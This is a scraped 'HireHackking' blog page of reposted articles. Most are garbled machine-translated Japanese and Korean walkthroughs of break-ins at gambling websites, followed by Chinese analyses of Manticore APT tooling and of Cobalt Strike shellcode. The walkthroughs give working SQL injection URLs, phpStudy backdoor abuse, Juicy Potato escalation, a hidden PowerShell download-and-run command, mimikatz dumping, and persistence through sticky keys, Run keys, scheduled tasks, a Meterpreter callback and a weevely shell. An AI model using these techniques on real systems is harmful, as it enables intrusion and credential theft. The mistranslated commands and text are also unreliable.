Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108911

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x01はじめに

ヒント：否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした（プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます）。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに：

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます（私が書いた小さなホイールで、一致するプロセスは960+：3http://get-av.se7ensec.cn/に増加しました）

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました（実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください）。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました：

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載：https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

HireHackking

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです（フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます）

图片

スキャン後、リモートデスクトップ3389に接続してみてください（最初はWindowsが提供されているサーバーであることがわかりました）

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか？

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます：123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片（私のいとこはあなたに領収書コードを送りましたか？金持ちになる機会はここにあります！）

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します：accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド：winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明：A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1：圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21＃＃

HireHackking

이 스테이션은 정말 크다. 아니,이 스테이션은 정말로 둥글다.

图片 한 번의 주입

图片 图片 32 비트 만 읽을 수 있기 때문에 서브 스트링을 사용하여 별도로 읽습니다.

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,concat(0x7e,(select

관리자 제한 1,1),0x7e))%20#의 비밀번호

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,Concat(0x7e,substring (substring) ((evelect

관리자 제한 1,1), 30,35),0x7e)))%20#

图片 편안한 느낌이 들었습니다. 이제 들어가서 속옷을 공개적으로 선택할 수 있습니다.

0x02 쉘을 가져 와서 robots.txt를 참조하십시오

图片INURL:A.com 관리자

배경에 들어가면 나는 그것이 ECShop이라는 것을 알았습니다. 여기서 파일은 우회 된 이미지로 변경되었습니다.

图片는 재설정 된 것 같습니다

여기서 나는 SQL 문을 실행할 수 있고 절대 경로 누출이 있음을 발견했습니다.

图片 图片OK 방금 문장을 작성하십시오

图片0x03 라이센스 图片 권한은 약간 낮습니다

图片 MySQL을 사용하는 다른 방법은 없습니다.

图片 MySQL 권리를 높이려고 노력하십시오

图片 图片 업로드 할 수없는 디렉토리를 제외하고 다른 모든 조건이 충족되므로 CS, PowerShell Online으로 이동하십시오.

图片 자세한 내용은 Juicy Potato를 사용하십시오. Sanhao 학생들의 기사를 참조하십시오. 원하는 clsid를 선택하십시오. 링크

图片 그러면 우리는 시스템 권한으로 PowerShell을 실행하고 있습니다

Shell Style.exe -p 'powerShell.exe -nop -w hidden -c \'iex ((New -Object net.webclient) .downloadString ( 'powerShell address')) \ ''-c {e60687f7f7-01a1-40AA -86AC -DB1CBF67334} 여기에 두 배가 인용문을 기억하십시오.

图片0x04 수평 침투 图片은 작업 그룹 환경이며 0.9를 스캔하며 웹이기도합니다. 다음은 해시 패스이며 해시를 잡기 위해 직접 전송됩니다. 현재 다음 계정이 있습니다

wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin

WDAGUTINITYACCOUNT

일반 해시 배송-

图片 웹이어야하는 데모, 그리고 0.7은 데이터베이스 서버 일 수 있습니다.

모든 관리자 권한을 사용할 수 있습니다. 시스템을 얻으려면 SelectMyparent를 사용할 수 있습니다. 실제로 새로운 프로세스에서 시스템 프로세스의 아동 프로세스를 설정하는 것은 J입니다. 여기서 우리는 CS 말을 사용합니다. 먼저 Winlogon.exe의 PID를 확인하십시오.

당신은 그것이 500임을 알 수 있습니다

图片 그런 다음 System.Exe를 업로드하고 Shell SelectMyparent.exe System.exe 500을 실행하십시오.

图片이 단계는 실제로 단어 수를 구성하는 것입니다.

0x05 : 여기에서 권한이 유지되며 로컬 테스트를 수행합니다.

끈적 끈적한 키 백도어 끈적 끈

图片 스티커 키는 동시에 두 개 이상의 키를 누르는 데 어려움이있는 사람들을 위해 설계된 컴퓨터에 사용되는 바로 가기 키를 나타냅니다. 끈적 끈적한 본드의 주요 기능은 시프트와 다른 키의 조합을 용이하게하는 것입니다. 스티커 키는 먼저 (예 : Shift)를 누르고 다른 키를 동시에 누르는 대신 다른 키를 누르지 않고 물리적 인 이유로 인해 여러 키를 동시에 누를 수없는 일부 사람들에게 편리합니다. 일반적인 컴퓨터는 시프트를 5 번 누를 때 끈적 끈적한 키 프롬프트가 있습니다.

다음 명령을 사용하십시오

CD Wind 관리자에게 권한을 수정하십시오.

图片 图片 图片 图片 그런 다음 전체 제어로 수정하십시오.

图片 图片 이제 우리는 5 번 연속으로 교대를 누르고 시스템 권한 CMD가 팝업됩니다.

图片 주입 백도어 등록

일반 사용자 권한에 따라 공격자는 레지스트리에 실행 해야하는 백도어 프로그램 또는 스크립트 경로를 작성합니다.

hkey_local_machine \ 소프트웨어 \ Microsoft \ Windows \ currentversion \ run

키 값은 임의로 설정할 수 있거나 다음 명령을 실행하여 시작 항목을 직접 추가 할 수 있습니다.

'hkey_local_machine \ 소프트웨어 \ microsoft \ Windows \ currentVersion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'관리자가 시스템에 다시 로그인하면 백도어 프로그램이 실행됩니다.

图片 계획 작업의 백도

명령 :schtasks /create /tn updater /tr c: \ shell.exe /sc 시간별 /mo 명령 위의 명령은 한 시간에 한 번 shell.exe를 실행하고 Win7 이하와 같은 시스템에서 schtasks 대신 AT 명령을 사용합니다.

미터 프리터 백도어

MeterPreter Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

자동으로 매칭을 시작합니다

Exploit/Multi/Handler 프록시에 연결하려면 -L % temp %를 사용하지 않으면 페이로드의 위치가 대상 호스트에 기록됩니다.

-P 페이로드 사용량, 기본값은 Windows/MeterPreter/Reverse_TCP입니다.

-S는 자동으로 트로이 목마를 서비스로 시작합니다 (시스템 권한 포함)

-T 대체 실행 템플릿을 사용할 수 있습니다

-U 사용자가 로그인하면 트로이 목마가 자동으로 시작됩니다.

-X 시스템 부츠가 부츠를 부팅 할 때 트로이 목마가 자동으로 시작됩니다.

-H이 도움말 메뉴

-각 연결 시도 (초) 사이의 시간 간격

-P 포트 Metasploit를 실행하는 시스템이 듣고 있습니다.

-R 시스템의 IP 연결을 듣고 있습니다.

단점은 바이러스 백신 소프트웨어로 감지하기 쉽고 대상 시스템에 새 VBS 파일을 생성 한 다음 매번 자동으로 시작한다는 것입니다.图片Web Backdoor, Weevely를 사용하여 Shell.php를 생성하여 테스트 할 수 있습니다.

图片 图片 파일을 서버 디렉토리에 넣고 실행하십시오.

Weevely http://192.168.220.1/shell.phpshell은 도움을 볼 수 있습니다

Audit.etcpasswd | /etc /passwd audit.userfiles | 사용자/home audit.mapwebfiles에 따라 권한이있는 파일을 나열합니다 모든 웹 사이트 Shell.php |의 URL 링크를 열거하십시오 php 파일 shell.sh |를 쓰십시오 시스템 스크립트 시스템을 작성하십시오 시스템 정보 찾기 수집 .suidsgid | suid/sgid 파일 및 디렉토리 찾기 찾기 읽기 가능/쓰기/실행 파일 및 디렉토리 Backdoor.tcp | TCP 포트 백도어 백도어 .reversetcp | 리바운드 TCP 연결 BruteForce.sql | BLAST 지정된 데이터베이스 사용자 이름 및 비밀번호 BruteForce.sqlusers | 모든 데이터베이스 사용자 비밀번호 파일을 폭파하십시오. upload | 로컬 파일 파일을 업로드 .upload2web | 바이너리/ASCII 파일을 사이트 폴더를 대상으로 업로드하고 URL 파일을 열거합니다. 로컬 어휘 파일에서 원격 파일을 서면 형식으로 열거합니다. 파일 파일을 읽으십시오 .RM | 파일 파일 삭제 .Check | 원격 파일의 상태 (MD5 값, 크기, 권한 등) 파일. 다운로드 | 원격 바이너리/ASCII 파일을 로컬 sql.console |에 다운로드하십시오 SQL 콘솔 SQL.dump 시작 | 백업 데이터베이스, 즉 제한 NET.SCAN | 포트 스캔 net.phpproxy | 원격 PHP 프록시 네트를 설치하십시오. Ifaces | 원격 호스트 네트워크 인터페이스 정보 net.proxy | Windows 명령을 실행하려면 터널 통신 에이전트를 설치하십시오.

图片 내장 명령을 보급하십시오

图片 图片 원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=mzg2ndywmda1na==mid=mid=22474826idx=2SN=8F11B7CC12F6C5DFBB5eeeeb316f14f460ch KSM=CE67A31BF9102A0D70487584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5SCENE=21#WECHAT_REDIGRECT

HireHackking

MANTICORE的攻擊範圍正在逐步擴大（上）

Web shellManticore部署了多個Web shell，包括之前被間接歸因於OilRig的Web shell，其中一些web shell因其混淆、命名約定和工件而更受關注。與Manticore在過去幾年的攻擊中使用的許多其他web Shell和基於.NET的工具相比，web Shell保留了類和方法模糊以及類似的字符串加密算法，該加密算法與一個字節異或，密鑰從第一個字節或前2個字節派生。

其中一個shell是對開源XML/XSL轉換web shell (XSL Exec shell)進行了嚴重混淆和略微修改的版本。這個web shell還包含兩個混淆的函數，它們返回字符串“~/1.aspx”。這些函數從未被調用過，很可能是其他版本的殘餘，正如我們在Manticore之前使用的工具(如FOXSHELL)中觀察到的那樣：

14.png

FOXSHELL web shell版本中未使用的字符串

攻擊目標根據對最新利用LIONTAIL的分析發現，受害者遍布中東地區。大多數受影響的實體屬於政府、電信、軍事和金融部門，以及IT服務提供商。

至少從2019年開始，Manticore就開始在中東地區活躍。它最初是基於開源的web部署代理，隨著時間的推移演變成一個多樣化和強大的工具集，既利用了自定義編寫的組件，也利用了開源組件。

16.png

Manticore使用的多個惡意軟件版本的代碼和功能演變概述

基於Tunna的Web shell最早的一個與攻擊者活動相關的樣本是基於Tunna的web shell, Tunna是一個開源工具，旨在通過HTTPTunna傳輸任何TCP通信。 Tunna web shell允許從外部連接到遠程主機上的任何服務，包括那些在防火牆上被阻止的服務，因為所有與web shell的外部通信都是通過HTTP完成的。在配置階段，將遠程主機的IP和端口發送給web shell，在很多情況下，主要使用Tunna來代理RDP連接。

該攻擊者使用的web shell的內部版本為Tunna v1.1g (Github上只有1.1a版本)。與開源版本相比，最重要的變化是通過使用預定義的字符串szEncryptionKey對數據進行異或處理並在末尾附加常量字符串K_SUFFIX來加密請求和響應：

17.png

攻擊者使用的“Tunna 1.1g”代理中的加密功能

18.png

Tunna代理對數據的解密和加密

FOXSHELL：XORO版本之後，代碼被重構，失去了與Tunna的相似之處。我們將此版本和所有後續版本都稱為FOXSHELL。下面的類結構在大多數FOXSHELL版本中仍然存在：

19.png

FOXSHELL中的類

所有負責加密流量的功能都轉移到一個單獨的EncryptionModule類中。此類加載一個.NET DLL，該DLL嵌入FOXSHELL主體內的base64編碼字符串中，並調用其加密和解密方法：

20.png

web shell中base64編碼的EncryptionDll

21.png

EncryptionModule類負責加密和解密方法調用

嵌入式加密模塊的名稱是XORO.dll，它的類是Encryption.XORO實現解密和加密方法的方式與基於Tunna的web shell相同，使用相同的硬編碼值：

22.png

XORO.dll中的加密常量和解密函數

所有對web shell的請求也封裝在一個名為Package的類中，該類處理不同的PackageTypes：Data、Config、OK、Dispose或Error。 PackageType是由包的第一個字節定義的，根據包的類型，web shell解析包並應用配置(在配置中指定的遠程計算機上打開一個新的套接字，如果提供的話，應用一個新的EncryptionDll)，或者處理現有的套接字，或者如果包是Data類型代理連接：

23.png

FOXSHELL中的包處理

FOXSHELL：Bsae64（非拼寫錯誤）版本這個版本的web shell仍然沒有混淆，它的內部版本在代碼中指定：

24.png

web shell還包含嵌入的默認EncryptionDll。模塊的名稱是Base64.dll，加密類(拼寫錯誤為Bsae64)公開了加密和解密方法。然而，兩者都只是簡單的base64編碼：

24+.png

Base64.dll中的加密和解密方法

雖然這種簡單的編碼可以在web shell本身的代碼中完成，但其他嵌入式dll的存在，如XORO.dll，以及在配置階段提供另一個EncryptionDll的能力，意味著攻擊者更喜歡控制他們在某些環境中默認使用的特定類型的加密。

這個版本中的其他變化是將PackageType配置重命名為RDPconfig，將ConfigPackage重命名為RDPConfigPackage，表明攻擊者專注於代理RDP連接。這些類的代碼保持不變：

25.png

RDP Configuration類

最後，代碼中的另一個條件處理web shell接收非空參數WV-RESET的情況，該參數調用函數關閉代理套接字並向攻擊者發送OK響應：

26.png

“Close proxy” WV-RESET參數

編譯的FOXSHELL除了針對中東之外，這個版本也於2021年5月針對阿爾巴尼亞發起攻擊。通過利用一個面向internet的Microsoft SharePoint服務器，攻擊者部署了ClientBin。在受攻擊服務器上的Aspx來代理外部連接，從而進行橫向攻擊。

在發現的所有樣本中，FOXHELL都被編譯為DLL並嵌入到base64的基本web shell中。編譯後的DLL將加載System.Reflection.Assembly.Load，則調用來自它的ProcessRequest方法。 DLL是用.NET編寫的，其名稱模式為App_Web_

27.png

加載App_Web_*.dll的web shell

App_Web* DLL受到類和方法混淆的影響，所有字符串都使用Base64，第一個字節的異或和AES的組合加密如下：

28.png

inchpublic函數，負責字符串加密，展示了方法和類的混淆

當web shell被編譯成DLL時，它包含初始化存根，這確保web shell偵聽正確的URI。在這種情況下，初始化發生在以下代碼段：

29.png

web shell App_Web_*.dll中的初始化存根

否則，去混淆後：

30.png

這個初始化將FOXSHELL設置為偵聽相對路徑~/1上的請求。研究發現，在涉及LIONTAIL的攻擊的其他web shell中，它是一個未使用的工件。

在內部，DLL具有與以前版本相同的“1.5”版本的FOXSHELL，其中包括用於停止代理的WV-RESET參數和相同的默認Bsae64加密DLL。

基於IIS ServerManager和HTTPListener的獨立後門自2020年年中以來，除了FOXSHELL作為代理流量的手段外，我們還觀察到了一個相當複雜的獨立被動後門，它是用.NET編寫的，旨在部署在IIS服務器上。它被類似於FOXSHELL的技術混淆，並偽裝成System.Drawing.Design.dll。

CC通信SSD後門通過受感染計算機上的HTTP偵聽器設置CC通信。它是通過兩個類實現的：

ServerManager——.NET中System.Web.Administration命名空間的一部分，用於管理和配置Windows服務器上的Internet信息服務（IIS），例如獲取配置、創建、修改或刪除IIS站點、應用程序和應用程序池。

HTTPListener——.NET框架中的一個類，用於創建自定義HTTP服務器，獨立於IIS並基於HTTP API。

ServerManager用於提取IIS服務器託管的網站，並構建要偵聽的URL前綴的HashSet：

31.png

構建URL前綴HashSet的angleoppose_river函數的混亂代碼基於IIS服務器上配置的網站和綁定

本文的惡意軟件示例中配置的唯一相對URI是Temporary_Listen_Addresses。然後惡意軟件使用HttpListener類開始偵聽指定的URL前綴：

32.png

HttpListener啟動代碼

CC命令執行後門程序有幾個功能：使用cmd.exe執行命令，上傳和下載文件，使用指定參數執行進程以及運行其他.NET程序集。

33.png

SDD後門的請求handler

首先，如果POST請求主體包含數據，惡意軟件會對其進行解析，並將消息作為其支持的4個命令之一進行處理。否則，如果請求包含參數Vet，惡意軟件只需從base64中解碼其值，並用cmd/c執行。如果這些都不是真的，那麼惡意軟件會處理心跳機制，如果請求URL包含小寫的字符串wOxhuoSBgpGcnLQZxipa，則惡意軟件會發回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK響應。

POST請求中的數據使用Base64和簡單的基於異或處理的加密進行加密：

34.png

命令解密算法

在解密消息的數據後，惡意軟件會按照以下順序對其進行解析：

35.png

處理可能的SDD後門命令類型的開關

由攻擊者命名的命令，包括：

' Command ' -使用指定參數執行進程。在該樣本中，將解析數據以提取進程名稱及其參數；

“Upload”—將文件上傳到受攻擊系統的指定路徑；

“Download”-將指定的文件發送給攻擊者；

“Rundll”-加載程序集並使用指定參數運行它。

響應數據的構建方式與請求相同（返回命令類型、命令名稱和輸出），然後使用與請求相同的基於XOR的算法進行加密。

WINTAPIX驅動程序最近，Fortinet披露了一系列針對中東目標的攻擊，這些攻擊涉及內核模式驅動程序，研究人員將其命名為WINTAPIX。儘管安裝驅動程序的確切感染鏈尚不清楚，但它們僅針對IIS服務器，因為它們使用IIS ServerManager對象。高級執行流程如下：

1.WINTAPIX驅動程序在內核中加載；

2.WINTAPIX驅動程序枚舉用戶模式進程，以查找具有本地系統權限的合適進程；

3.WINTAPIX驅動程序將嵌入的shellcode注入到先前找到的進程中，shellcode是使用開源的Donut項目生成的，這允許創建能夠從內存加載和執行.NET程序集的與位置無關的shellcode。

4.注入的shellcode加載並執行加密的.NET負載。

最後的有效負載除了已經熟悉的類、方法和字符串混淆之外，還使用商業混淆器進行混淆，並且它結合了SDD後門和FOXSHELL代理的功能。為了實現這兩個目標，它偵聽兩組URL前綴，使用ServerManager和HTTPListener，類似於SSD後門。

驅動程序負載中使用的FOXSHELL版本設置為1.7。在這個版本中引入的主要增強是使用掛起EventLog Service線程的已知技術來繞過事件日誌。在驅動程序中硬編碼的默認EncryptionDll是相同的Bsae64.dll，與FOXSHELL 1.5版本相比，核心代理結構還與原來一樣。

36.png

.NET負載中硬編碼的版本

37.png

FOXSHELL 1.7類結構

由於已經提供了對WINTAPIX驅動程序及其版本SRVNET2的廣泛分析，我們只強調它們與其他討論的工具之間的主要重疊部分，它們之間的聯繫如下：

1.與SDD後門相同的代碼庫，包括基於相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳；

2.支持相同的後門命令類型，使用相同的密鑰進行加密；

3.與FOXSHELL相同的代碼庫、結構和功能；

4.使用相同的混淆和加密方法。

LIONTAIL框架組件與FOXSHELL、SDD後門和WINTAPIX驅動程序共享類似的混淆和字符串工件。目前，我們不知道有任何其他攻擊者利用這些工具，我們根據多個代碼重疊和共享的受害者特徵將它們全部歸因於Manticore。

總結在過去的幾年裡，Manticore被觀察到在中東地區進行了頻繁活動，包括獲得該地區電信和政府組織的訪問權限，並維持和利用這種訪問權限幾個月來系統地從受害者的系統中竊取數據。分析他們的活動歷史可以發現，攻擊者一直在改進攻擊方法。

雖然LIONTAIL代表了FOXSHELL迭代的邏輯進展，並且仍然具有一些獨特的特徵，使我們能夠將涉及LIONTAIL的攻擊歸因於Manticore。 LIONTAIL框架不再依賴於Internet Information Services (IIS)、它的模塊或. net框架提供的任何其他選項和庫來以編程方式管理IIS。相反，它通過直接與HTTP.sys驅動程序交互來利用最低級別的Windows HTTP堆棧。此外，它允許攻擊者自定義植入程序、配置參數和加載程序的文件傳遞類型，這些都增強了植入程序的隱身能力，使其能夠長時間躲避檢測。預計“Manticore”活動將會更加活躍，並可能蔓延到其他地區。

HireHackking

探索Cobalt Strike shellcode是由編譯後的可執行.exe文件加載情況，這將需要使用調試器(x64dbg)和靜態分析(Ghidra)來執行完整的分析。

可執行文件是編譯後的exe，包含隱藏和混淆的Shellcode，使用一個簡單的異或例程和一個4字節的項對shellcode進行解碼，然後將其寫入一個用VirtualAlloc創建的簡單緩衝區。

本文將探索使用調試器獲得解碼的shellcode的方法，然後尋找使用Ghidra手動定位shellcode和相關解密密鑰的方法，還將研究在X64dbg和Ghidra之間切換的方法，以及使用ChatGPT識別和分析Ghidra輸出的方法。

獲取樣本點此下載樣本(pw:infected)。

SHA256:99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd

分析我們可以先把文件保存到一台分析機上然後用感染的密碼解壓縮。從這裡我們還可以創建一個文件名較短的副本。

1.png

由於該文件是已編譯的可執行文件，我們可以嘗試使用調試器對其進行分析。在本文中為x64dbg。

我們可以繼續使用x64dbg打開文件，一直點擊直到到達入口點。

2.png

現在，我們可以繼續在API上創建一些斷點，這些斷點通常(但並不總是)在惡意軟件解包時使用。

我們可以通過運行bp VirtualAlloc和bp VirtualProtect來創建2個斷點。

3.png

創建斷點後，我們可以繼續並允許惡意軟件繼續(F9)。惡意軟件將繼續運行並觸發VirtualAlloc上的斷點。

我們的主要目的是獲取由VirtualAlloc創建的緩衝區，我們可以通過使用Execute Until Return來實現這一點。 “Execute Until Return”將允許VirtualAlloc函數完成，但不允許發生任何進一步的操作。這意味著我們可以很容易地獲得創建的緩衝區的地址。

查看VirtualAlloc創建的內存4.png

在點擊execute之後，返回。我們可以在RAX內部觀察到新創建的緩衝區地址。

我們想繼續監控這個緩衝區的可疑內容和解壓縮的惡意軟件時，可以通過右鍵點擊RAX中包含的地址來開始監控過程。

5.png

現在我們可以選擇Follow in Dump，這將打開左下角窗口中緩衝區的內容。

6.png

通過點擊“Follow In Dump”，我們可以在左下角的窗口中觀察到轉儲的內容。

我們可以在這裡註意到緩衝區是空的，只包含00。

7.png

用硬件斷點監控內存VirtualAlloc已經創建了一個空緩衝區，現在，我們可以通過創建一個硬件斷點來監控這個緩衝區的變化。

硬件斷點可以通過選擇內存轉儲中的第一個字節以及Right Click - Breakpoint - Hardware, Access - Byte來創建。

8.png

這樣我們可以允許惡意軟件繼續執行。可以看到硬件斷點被觸發，在緩衝區的第一部分中包含一個FC字節。前兩篇文章中已經講過FC是shellcode中非常常見的第一個字節。

9.png

此時，我們希望惡意軟件繼續填充緩衝區。

我們可以繼續使用另一個Execute Until Return。這樣緩衝區就會被填滿，我們就可以監控裡面的內容了。

下面我們可以看到填充後的緩衝區。可以看到第一個字節是0xFC，並且在初始字節中有一個wininet字符串，這可能表示shellcode。

10.png

使用反彙編器驗證Shellcode現在我們有了一個合理的假設，即緩衝區包含shellcode，我們可以繼續嘗試使用X64dbg對其進行反彙編。如果我們反彙編代碼並且沒有明顯的錯誤，那麼很有可能正在查看shellcode。

我們可以通過在反彙編器中選擇第一個FC字節和Follow in Disassembler來實現這一點。

11.png

X64dbg現在將嘗試從緩衝區中反彙編字節。

下面，我們可以在頂部的反彙編窗口中觀察到被反彙編的緩衝區。可以發現，似乎沒有明顯的錯誤，並且有有效的函數調用，循環和總體“正常”的指令。

18.png

使用SpeakEasy仿真器進行最終驗證

由於非常懷疑緩衝區包含shellcode，所以我們可以繼續使用Speakeasy來模擬它。

我們也可以用X64dbg實現同樣的事情，但是對於shellcode來說，這是一個更複雜的過程。也可以用X64dbg實現同樣的事情，但是對於shellcode，這也是一個複雜的過程。

要使用speakeasy模擬shellcode，我們首先需要保存它。

我們可以選擇我們的第一個FC字節，右鍵單擊然後Follow in Memory Map。

19.png

現在我們可以將內存緩衝區保存到一個文件中，將文件保存為memdump.bin。

20.png

用Speakeasy模擬未打包的Shellcode

現在將shellcode緩衝區保存到文件memdump.bin中。我們可以繼續使用Speakeasy來模擬shellcode。

我們可以使用speakeasy -t memdump.bin -r -a x64命令來做到這一點：

speakeasy -運行speakeasy工具；

-t -我們要使用哪個文件；

-r - (Raw) -表示我們正在使用shellcode；

